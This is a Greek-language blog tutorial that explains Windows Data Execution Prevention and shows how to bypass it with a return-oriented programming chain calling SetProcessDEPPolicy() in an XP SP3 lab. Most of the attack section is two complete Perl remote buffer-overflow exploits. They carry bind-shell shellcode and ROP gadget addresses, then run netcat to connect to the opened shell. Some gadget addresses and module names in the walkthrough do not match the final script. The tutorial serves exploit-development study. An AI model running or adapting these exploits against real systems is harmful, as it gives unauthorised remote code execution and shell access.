RSS

DEP exploitation με τη χρήση ROP

02 Mar


Εισαγωγή

H προστασία Data Execution Prevention (αποτροπή εκτέλεσης δεδομένων) ή εν συντομία DEP, αποτελεί ένα σύνολο τεχνολογιών Hardware (υλικού) και Software (λογισμικού) που πραγματοποιούν πρόσθετους ελέγχους στη μνήμη με σκοπό, να αποτρέψουν την εκτέλεση κακόβουλου κώδικα σε ένα σύστημα. Η χρήση της προστασίας DEP ξεκίνησε με τα Windows XP Service Pack 2 (SP2).

Ο μηχανισμός προστασίας DEP, βοηθά στην αποτροπή εκτέλεσης αυθαίρετου κακόβουλου κώδικα από το heap (σωρό) ή / και από το stack (στοίβα). Σε μια κλασική περίπτωση buffer overflow (όπως είδαμε στα άρθρα 1,2,3) ο επιτιθέμενος προσθέτει τον κακόβουλο κώδικα του (με τη μορφή shellcode) στην μνήμη ενώ στην συνέχεια, “αναγκάζει” την ευπαθή εφαρμογή να τον εκτελέσει. Σε περίπτωση όμως που το κομμάτι αυτό της μνήμης προστατεύεται απ’ το μηχανισμό προστασίας DEP η οποιαδήποτε τέτοια απόπειρα θα προκαλέσει ένα exception και θα τερματιστεί η εκτέλεση της εφαρμογής, χωρίς φυσικά να εκτελεστεί ο κακόβουλος κώδικας. Περισσότερες πληροφορίες σχετικά με τη προστασίας DEP, εδώ.

Σημείωση: Το Visual Studio C++ προσφέρει ένα flag (/NXCOMPAT), για την προστασία της εφαρμογής που μεταγλωττίζεται, με το DEP.

Τα διαθέσιμα, modes της προστασίας DEP.

Τα Windows, υποστηρίζουν 4 modes (τρόπους) ώστε ρυθμιστεί το policy (πολιτική) της προστασίας DEP για το σύστημα μας:

  • OptIn : Η ενεργοποίηση της προστασίας DEP, μόνο για βασικά προγράμματα και υπηρεσίες των Windows.
  • OptOut : Ενεργοποίηση της προστασίας DEP για όλα τα προγράμματα και τις υπηρεσίες, εκτός από αυτά που έχουν επιλεγεί στην exception list.
  • AlwaysOn : Ενεργοποίηση της προστασίας DEP για όλα τα προγράμματα και τις υπηρεσίες χωρίς να υπάρχουν εξαιρέσεις. Η επιλογή “AlwaysOn” δεν μπορεί να γίνει disable.
  • AlwaysOff : Η προστασία DEP ανενεργή για τα πάντα (προγράμματα / υπηρεσίες).

H ενεργοποίηση (σε OptOut) της προστασίας DEP.

  1. Start –> Control Panel –> System.
  2. Στη συνέχεια, κάνουμε κλικ Advanced –> Performance.
  3. Στην καρτέλα Data Execution Prevention, κάνουμε κλικ στην επιλογή “Turn on DEP for all programs and services except those I select (ώστε να επιλέξουμε την πολιτική “OptOut” η οποία ενεργοποιείται από προεπιλογή για όλες τις διαδικασίες.) και, στη συνέχεια, κάνουμε κλικ στο κουμπί “ΟΚ” και στα δύο παράθυρα διαλόγου.


Εικόνα 1: Ενεργοποίηση και ρύθμιση της προστασίας DEP (OptOut)

H πρώτη δοκιμή

Για τις δοκιμές μας, θα χρησιμοποιήσουμε:

  • Ένα εικονικό μηχάνημα (VirtualBox) Windows XP SP3 English με ενεργή τη προστασία DEP (OptOut) (βλ. Εικόνα 1)
  • Την γνωστή και ευπαθή (σε stack based exploitation) εφαρμογή “homework-re-fall2011-v2.exe” που αναλύσαμε και στα άρθρα 1,2,

Αφού λοιπόν ενεργοποιήσαμε την προστασία DEP στο μηχάνημα μας, όπως είδαμε προηγουμένως, δοκιμάζουμε να εκτελέσουμε το παρακάτω exploit (που δημιουργήσαμε για τις ανάγκες των άρθρων 1,2).


use IO::Socket;

print "\n[*] Remote Buffer Overflow Exploit - homework-re-fall2011-v2.exe\n";
print "[*] http://pentest.cryptocity.net/files/exploitation/2011/homework-re-fall2011-v2.exe\n";
print "[*] mr.pr0n || https://ghostinthelab.wordpress.com \n\n";

print "Please, enter your target: \n> ";
chop ($target   =<STDIN>);

###
$username	= "poly";
$password	= "teknik";
###

$junk	 	= "\x41" x 109;		# Send 109 "A".
$ret		= pack('V',0x7C874413);	# JMP ESP - kernel32.dll
$nops 		= "\x90" x 20;		# 20 nops.

# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# EXITFUNC=process, LPORT=4444, RHOST=
$shellcode =
"\xda\xc5\xd9\x74\x24\xf4\x2b\xc9\xba\x3a\x04\xcc\xb6\x5e".
"\xb1\x56\x31\x56\x19\x83\xee\xfc\x03\x56\x15\xd8\xf1\x30".
"\x5e\x95\xfa\xc8\x9f\xc5\x73\x2d\xae\xd7\xe0\x25\x83\xe7".
"\x63\x6b\x28\x8c\x26\x98\xbb\xe0\xee\xaf\x0c\x4e\xc9\x9e".
"\x8d\x7f\xd5\x4d\x4d\x1e\xa9\x8f\x82\xc0\x90\x5f\xd7\x01".
"\xd4\x82\x18\x53\x8d\xc9\x8b\x43\xba\x8c\x17\x62\x6c\x9b".
"\x28\x1c\x09\x5c\xdc\x96\x10\x8d\x4d\xad\x5b\x35\xe5\xe9".
"\x7b\x44\x2a\xea\x40\x0f\x47\xd8\x33\x8e\x81\x11\xbb\xa0".
"\xed\xfd\x82\x0c\xe0\xfc\xc3\xab\x1b\x8b\x3f\xc8\xa6\x8b".
"\xfb\xb2\x7c\x1e\x1e\x14\xf6\xb8\xfa\xa4\xdb\x5e\x88\xab".
"\x90\x15\xd6\xaf\x27\xfa\x6c\xcb\xac\xfd\xa2\x5d\xf6\xd9".
"\x66\x05\xac\x40\x3e\xe3\x03\x7d\x20\x4b\xfb\xdb\x2a\x7e".
"\xe8\x5d\x71\x17\xdd\x53\x8a\xe7\x49\xe4\xf9\xd5\xd6\x5e".
"\x96\x55\x9e\x78\x61\x99\xb5\x3c\xfd\x64\x36\x3c\xd7\xa2".
"\x62\x6c\x4f\x02\x0b\xe7\x8f\xab\xde\xa7\xdf\x03\xb1\x07".
"\xb0\xe3\x61\xef\xda\xeb\x5e\x0f\xe5\x21\xe9\x08\x2b\x11".
"\xb9\xfe\x4e\xa5\x2f\xa2\xc7\x43\x25\x4a\x8e\xdc\xd2\xa8".
"\xf5\xd4\x45\xd3\xdf\x48\xdd\x43\x57\x87\xd9\x6c\x68\x8d".
"\x49\xc1\xc0\x46\x1a\x09\xd5\x77\x1d\x04\x7d\xf1\x25\xce".
"\xf7\x6f\xe7\x6f\x07\xba\x9f\x0c\x9a\x21\x60\x5b\x87\xfd".
"\x37\x0c\x79\xf4\xd2\xa0\x20\xae\xc0\x39\xb4\x89\x41\xe5".
"\x05\x17\x4b\x68\x31\x33\x5b\xb4\xba\x7f\x0f\x68\xed\x29".
"\xf9\xce\x47\x98\x53\x98\x34\x72\x34\x5d\x77\x45\x42\x62".
"\x52\x33\xaa\xd2\x0b\x02\xd4\xda\xdb\x82\xad\x07\x7c\x6c".
"\x64\x8c\x8c\x27\x25\xa4\x04\xee\xbf\xf5\x48\x11\x6a\x39".
"\x75\x92\x9f\xc1\x82\x8a\xd5\xc4\xcf\x0c\x05\xb4\x40\xf9".
"\x29\x6b\x60\x28\x23";

if ($socket = IO::Socket::INET->new
	(PeerAddr => $target,
	PeerPort => "1974",
	Proto => "TCP"))
	{
		print "\n[*] Sending Buffer at: $target ...\n";
		$exploit  = $username.":".$password.$junk.$ret.$nops.$shellcode;
		print $socket $exploit."\r\n";
		sleep(1);
		close($socket);
		print "[*] Exploitation Done!\n\n";
		$command = "nc $target 4444";
		system ($command);
	}

else
	{
		print "[-] Connection to $target failed!\n";
	}

Δυστυχώς όμως, οπως ήταν φυσικό και επόμενο απετράπει η επιτυχής εκτέλεση του shellcode και εμφανίστηκε ένα σχετικό μήνυμα (βλ. Εικόνα 2).


Εικόνα 2: Αποτέλεσμα χρήση της προστασίας DEP.

Επίσης, για το λόγο του αληθές, μπορούμε να ελέγξουμε την εφαρμογή που μας ενδιαφέρει και με την εφαρμογή “Process Explorer” (βλ. Εικόνα 3).


Εικόνα 3: Όντος, φαίνεται είναι ενεργοποιημένη η προστασία DEP στην εφαρμογη.

Ξεπερνώντας το DEP.

Υπάρχουν διάφοροι τρόποι για να παρακάμψουμε τον μηχανισμό προστασίας DEP. Αρκετοί από αυτους περιγράφονται αναλυτικά εδώ.

Μερικές χρήσιμες συναρτήσεις για την παράμψη του μηχανισμoύ προστασίας DEP:

  • VirtualProtect(). Αυτή η λειτουργία θα αλλάξει το επίπεδο πρόσβασης και προστασίας μιας συγκεκριμένης σελίδας μνήμης, επιτρέποντάς ετσι τη σηματοδότηση της τοποθεσίας όπου υπάρχει το shellcode, ως εκτελέσιμο.
  • WriteProcessMemory(). Μας επιτρέψει να αντιγράψουμε το shellcode σε θέση στη μνήμη, ώστε στη συνέχεια να μεταβούμε εκεί και να το εκτλέσουμε. Η τοποθεσία που θα τοποθετηθεί το shellcode θα πρέπει να είναι εγγράψιμη / εκτελέσιμη.
  • NtSetInformationProcess(). Μας επιτρέπει να αλλάξουμε το policy της προστασίας DEP — για την τρέχουσα διεργασια — ώστε να μπορέσουμε να εκτελέσουμε τελικά, το shellcode μας από τη στοίβα .
  • SetProcessDEPPolicy(). Μας επιτρέπει να αλλάξουμε το policy της προστασίας DEP — για την τρέχουσα διεργασια — ώστε να μπορέσουμε να εκτελέσουμε τελικά, το shellcode μας από τη στοίβα .

Στο παρόν άρθρο, θα δοκιμάσουμε να καλέσουμε τη συνάρτηση του kernel32.dll, SetProcessDEPPolicy() χρησιμοποιώντας τη τεχνική ROP (Return-Oriented Programming) ώστε να απενεργοποιήσετε την προστασία DEP.

ROP – Return Oriented Programming

Έτσι, για να λύσουμε το παραπάνω πρόβλημα που προκύπτει με την ενεργοποίηση της προστασίας DEP, θα δημιουργήσουμε μια ROP chain, μια αλυσίδα δηλαδή από instructions — ουσιαστικά μια ακολουθία εντολών — που θα μας βοηθήσει ώστε να επιστρέψουμε στο Windows API και να καλέσουμε τη συνάρτηση SetProcessDEPPolicy() (kernel32.dll) για απενεργοποιήσουμε το μηχανισμού προστασίας DEP για την τρέχουσα διεργασία.

Λίγα λόγια για τη συνάρτηση SetProcessDEPPolicy().

Λειτουργεί σε :

  • Windows XP SP3.
  • Windows Vista SP1.
  • Windows 2008.

Χρειάζεται μια παράμετρο η οποία, θα πρέπει να είναι “0” ώστε να απενεργοποιηθεί η προστασία DEP για την παρούσα διεργασία. Για τη χρήση της συνάρτησης SetProcessDEPPolicy() σε μια αλυσίδα ROP θα πρέπει στο stack να υπάρχουν :

  • Ένας pointer (δείκτης) που να δείχνει στη function SetProcessDEPPolicy().
  • Ένας pointer που να δείχνει στο shellcode μας ώστε όταν εκτελεστεί η function SetProcessDEPPolicy() να πάει στο shellcode.
  • Ένα 0 (μηδέν) ώστε να απενεργοποιηθεί η προστασία DEP για την παρούσα διεργασία.

Σημείωση: Για να επιτύχουμε την απενεργοποίηση της προστασίας DEP με τη χρήση της SetProcessDEPPolicy(), θα πρέπει η προστασία DEP να έχει ρυθμιστεί ώστε το Policy να είναι OptIn ή OptOut.

Προσοχή: Σε περίπτωση που, το policy της προστασίας DEP είναι AlwaysOn / AlwaysOff ή το module έχει γίνει linked με το /NXCOMPAT flag, τότε χρήση της συνάρτησης SetProcessDEPPolicy() — για την απενεργοποίηση της προστασίας DEP — ΔΕΝ θα λειτουργήσει σωστά!

HINT: Η διεύθυνση για το SetProcessDEPPolicy() σε Windows ΧΡ SP3 είναι 0x7C8622A4 (kernel32.dll)

Η δημιουργία της ROP Chain.

Για τη δημιουργία της ROP Chain, δηλαδή της αλυσίδας δηλαδή από προϋπάρχοντα set από instructions η οποίο θα “αναλλάβει” να κάνει disable το μηχανισμό προστασίας DEP καλώντας τη συνάρτηση SetProcessDEPPolicy(), θα χρειαστούμε να εκμεταλλευτούμε τέσσερις registers (καταχωριτές) που μας ενδιαφέρουν : EBX, EBP, EDI, ESI.

  • Ο EBX θα πρέπει να γίνει μηδέν.
  • O EBP θα πρέπει να δείχνει στην SetProcessDEPPolicy().
  • Οι EDI και ESI να δείχνουν σε μια RET.

Αξίζει, στο σημείο αυτό, να σημειωθεί ότι μετά από μια σύντομη έρευνα, διαπιστώθηκε ότι το executable no-ASRL module “msvcrt.dll” περιείχε όλα τα απαραίτητα instructions, ώστε να δημιουργήσουμε με επιτυχία την ROP chain μας (βλ. εικόνα 4).

Τα προαναφερθέντα sets απο instructions ονομάζονται ROP Gadgets. Σε διαφορετική περίπτωση — δηλαδή όπου δεν υπήρχαν όλα τα rop gadgets μέσα σε ένα executable no-ASRL module — θα κάναμε, έναν συνδυασμό από διαφορετικά executable modules μεχρι να δημιουργήσουμε την rop chain.


Εικόνα 4: Το executable module “msvcirt.dll”

Σημείωση: Πριν ψάξουμε για τα κατάλληλα rop gadgets τα οποία θα μας βοηθήσουν, να δημιουργήσουμε την rop chain, θα αντικαταστήσουμε τη διεύθυνση που στο παλιό exploit υπήρχε στη μεταβλητή “$ret” και έκανε overwrite τον EIP με το “JMP ESP” instruction, με ένα απλό RETN (για επιστροφή στη στοίβα) και αμέσως μετά θα ακολουθει το πρώτο rop gadget.

Βήμα 1. Ο EBX, θα πρέπει να γίνει μηδέν.

0x77c2362c # POP EBX / RETN from msvcirt.dll
0xFFFFFFFF # PARAMETER 0x00000000 - 0x1 = 0xFFFFFFFF
0x77c127e5 # INC EBX / RETN from msvcirt.dll

Βήμα 2. Ο EBP, θα πρέπει να δείχνει στην SetProcessDEPPolicy()

0x77c48028 # POP EBP / RETN from msvcirt.dll
0x7c8622a4 # SetProcessDEPPolicy() from kernel32.dll

Βήμα 3. Οι ESI και EDI θα πρέπει να δείχνουν σε μια RET.
ESI

0x77c2eae0 # POP ESI / RETN from msvcirt.dll
0x77c111e8 # RETN from msvcirt.dll

EDI

0x77c4611e # POP EDI / RETN from msvcirt.dll
0x77c111e8 # RETN from msvcirt.dll

Βήμα 4. Το τελικό PUSHAD instruction
Σημείωση : Η εντολή PUSHAD θα τοποθετήσει τους registers στη στοίβα.

0x77c12df9 # PUSHAD / RETN from msvcirt.dll

Το τελικό exploit με τη χρήση ROP

#!/usr/bin/perl

# ----------------------------------------------------------- #
# This exploit, written to bypass OptIn/OptOut DEP policy.
# Tested on Windows XP SP3 [English] running in virtualbox.
# ----------------------------------------------------------- #

use IO::Socket;

print "\n[*] Remote Buffer Overflow Exploit [DEP disable] - homework-re-fall2011-v2.exe\n";
print "[*] http://pentest.cryptocity.net/files/exploitation/2011/homework-re-fall2011-v2.exe\n";
print "[*] mr.pr0n || https://ghostinthelab.wordpress.com \n\n";

print "Please, enter your target: \n> ";
chop ($target   =<STDIN>);

#--------------------------- #
$username	= "poly";
$password	= "teknik";
#--------------------------- #

$junk	 	= "\x41" x 109; # Send 109 "A" - Junk bytes.
$nops 		= "\x90" x 10;	# Send 10 Nops for padding.

# Return to the stack
#--------------------------- #
$ret		= pack('V', 0x7c90192d); # RETN from msvcirt
#--------------------------- #

# ------------------------------------------------------------------------------ #
# All ROP instructions from module msvcirt.dll (non ASLR).
# For DEP disable, used SetProcessDEPPolicy() call from msvcirt.dll (non ASLR).
# ------------------------------------------------------------------------------ #

print "\n[*] Building the ROP chain - SetProcessDEPPolicy() ...";

# Put zero in EBX
$rop  = pack('V', 0x7C90192C);  # POP EBX / RETN from msvcirt.dll
$rop .= pack('V', 0xFFFFFFFF); 	# PARAMETER 0x00000000 - 0x1 = 0xFFFFFFFF
$rop .= pack('V', 0x77c127e5); 	# INC EBX / RETN from msvcirt.dll

# Set EBP, pointer to SetProcessDEPPolicy()
$rop .= pack('V', 0x77c48028); 	# POP EBP / RETN from msvcirt.dll
$rop .= pack('V', 0x7c8622a4); 	# SetProcessDEPPolicy(), into EBP

# Set ESI as a pointer to RETN
$rop .= pack('V', 0x77c2eae0); 	# POP ESI / RETN from msvcirt.dll
$rop .= pack('V', 0x7c90192d); 	# RETN from msvcirt.dll

# Set EDI, pointer to RETN
$rop .= pack('V', 0x77c4611e); 	# POP EDI / RETN from msvcirt.dll
$rop .= pack('V', 0x7c90192d); 	# RETN from msvcirt.dll

# A PUSHAD instruction will put the registers onto stack.
$rop .= pack('V', 0x77c12df9); 	# PUSHAD, RETN from msvcirt.dll

# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# EXITFUNC=process, LPORT=4444, RHOST=
$shellcode =
"\xda\xc5\xd9\x74\x24\xf4\x2b\xc9\xba\x3a\x04\xcc\xb6\x5e".
"\xb1\x56\x31\x56\x19\x83\xee\xfc\x03\x56\x15\xd8\xf1\x30".
"\x5e\x95\xfa\xc8\x9f\xc5\x73\x2d\xae\xd7\xe0\x25\x83\xe7".
"\x63\x6b\x28\x8c\x26\x98\xbb\xe0\xee\xaf\x0c\x4e\xc9\x9e".
"\x8d\x7f\xd5\x4d\x4d\x1e\xa9\x8f\x82\xc0\x90\x5f\xd7\x01".
"\xd4\x82\x18\x53\x8d\xc9\x8b\x43\xba\x8c\x17\x62\x6c\x9b".
"\x28\x1c\x09\x5c\xdc\x96\x10\x8d\x4d\xad\x5b\x35\xe5\xe9".
"\x7b\x44\x2a\xea\x40\x0f\x47\xd8\x33\x8e\x81\x11\xbb\xa0".
"\xed\xfd\x82\x0c\xe0\xfc\xc3\xab\x1b\x8b\x3f\xc8\xa6\x8b".
"\xfb\xb2\x7c\x1e\x1e\x14\xf6\xb8\xfa\xa4\xdb\x5e\x88\xab".
"\x90\x15\xd6\xaf\x27\xfa\x6c\xcb\xac\xfd\xa2\x5d\xf6\xd9".
"\x66\x05\xac\x40\x3e\xe3\x03\x7d\x20\x4b\xfb\xdb\x2a\x7e".
"\xe8\x5d\x71\x17\xdd\x53\x8a\xe7\x49\xe4\xf9\xd5\xd6\x5e".
"\x96\x55\x9e\x78\x61\x99\xb5\x3c\xfd\x64\x36\x3c\xd7\xa2".
"\x62\x6c\x4f\x02\x0b\xe7\x8f\xab\xde\xa7\xdf\x03\xb1\x07".
"\xb0\xe3\x61\xef\xda\xeb\x5e\x0f\xe5\x21\xe9\x08\x2b\x11".
"\xb9\xfe\x4e\xa5\x2f\xa2\xc7\x43\x25\x4a\x8e\xdc\xd2\xa8".
"\xf5\xd4\x45\xd3\xdf\x48\xdd\x43\x57\x87\xd9\x6c\x68\x8d".
"\x49\xc1\xc0\x46\x1a\x09\xd5\x77\x1d\x04\x7d\xf1\x25\xce".
"\xf7\x6f\xe7\x6f\x07\xba\x9f\x0c\x9a\x21\x60\x5b\x87\xfd".
"\x37\x0c\x79\xf4\xd2\xa0\x20\xae\xc0\x39\xb4\x89\x41\xe5".
"\x05\x17\x4b\x68\x31\x33\x5b\xb4\xba\x7f\x0f\x68\xed\x29".
"\xf9\xce\x47\x98\x53\x98\x34\x72\x34\x5d\x77\x45\x42\x62".
"\x52\x33\xaa\xd2\x0b\x02\xd4\xda\xdb\x82\xad\x07\x7c\x6c".
"\x64\x8c\x8c\x27\x25\xa4\x04\xee\xbf\xf5\x48\x11\x6a\x39".
"\x75\x92\x9f\xc1\x82\x8a\xd5\xc4\xcf\x0c\x05\xb4\x40\xf9".
"\x29\x6b\x60\x28\x23";

if ($socket = IO::Socket::INET->new
	(PeerAddr => $target,
	PeerPort => "1974",
	Proto => "TCP"))
	{
		print "\n[*] Sending Buffer at: $target ...\n";
		$exploit  = $username.":".$password.$junk.$ret.$rop.$nops.$shellcode;
		print $socket $exploit."\r\n";
		sleep(1);
		close($socket);
		print "[*] Exploitation Done!\n\n";
		$command = "nc $target 4444";
		system ($command);
	}

else
{
	print "\n[-] Connection to $target failed!\n";
}

Αποτέλεσμα και χρήση του exploit

Αφού εκτελέστηκε το παραπάνω exploit, αποκτήσαμε πρόσβαση στο μηχάνημα του στόχου, το οποίο είχε ενεργοποιημένο το μηχανισμό προστασίας DEP (βλ. Εικόνα 5).


Εικόνα 5: Τελικά, το exploit με τη χρήση rop, κατάφερε να εκτελέσει το shellcode και δώσει πρόσβαση στον επιτιθέμενο

Για να σιγουρευτούμε ότι όλα λειτουργούν σωστά, επιστρέφουμε στο μηχάνημα με τα windows χρ sp3. Παρατηρούμε λοιπόν ότι ναι μεν ο μηχανισμός προστασίας DEP είναι ενεργός, αλλά με τη χρήση του παραπάνω exploit, παρακάμφθηκε (βλ. Εικόνα 6).


Εικόνα 6: Ενώ όλα δείξουν να λειτουργούν κανονικά, έχει επιτευχθεί μη εξουσιοδοτημένη πρόσβαση στο μηχάνημα του στόχου

Video

Ακολουθεί ένα σύντομο video εκτελέσης των δυο exploits.

  • Το “old_exploit.pl” είναι το παλίο exploit χωρίς τη χρήση ROP.
  • Tο “new_exploit.pl” περιέχει και κάνει χρήση των ROP Gadgets που βρήκαμε.
 
Leave a comment

Posted by on March 2, 2013 in Exploits, It's Greek to Me

 

Tags: , , , , , , ,

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: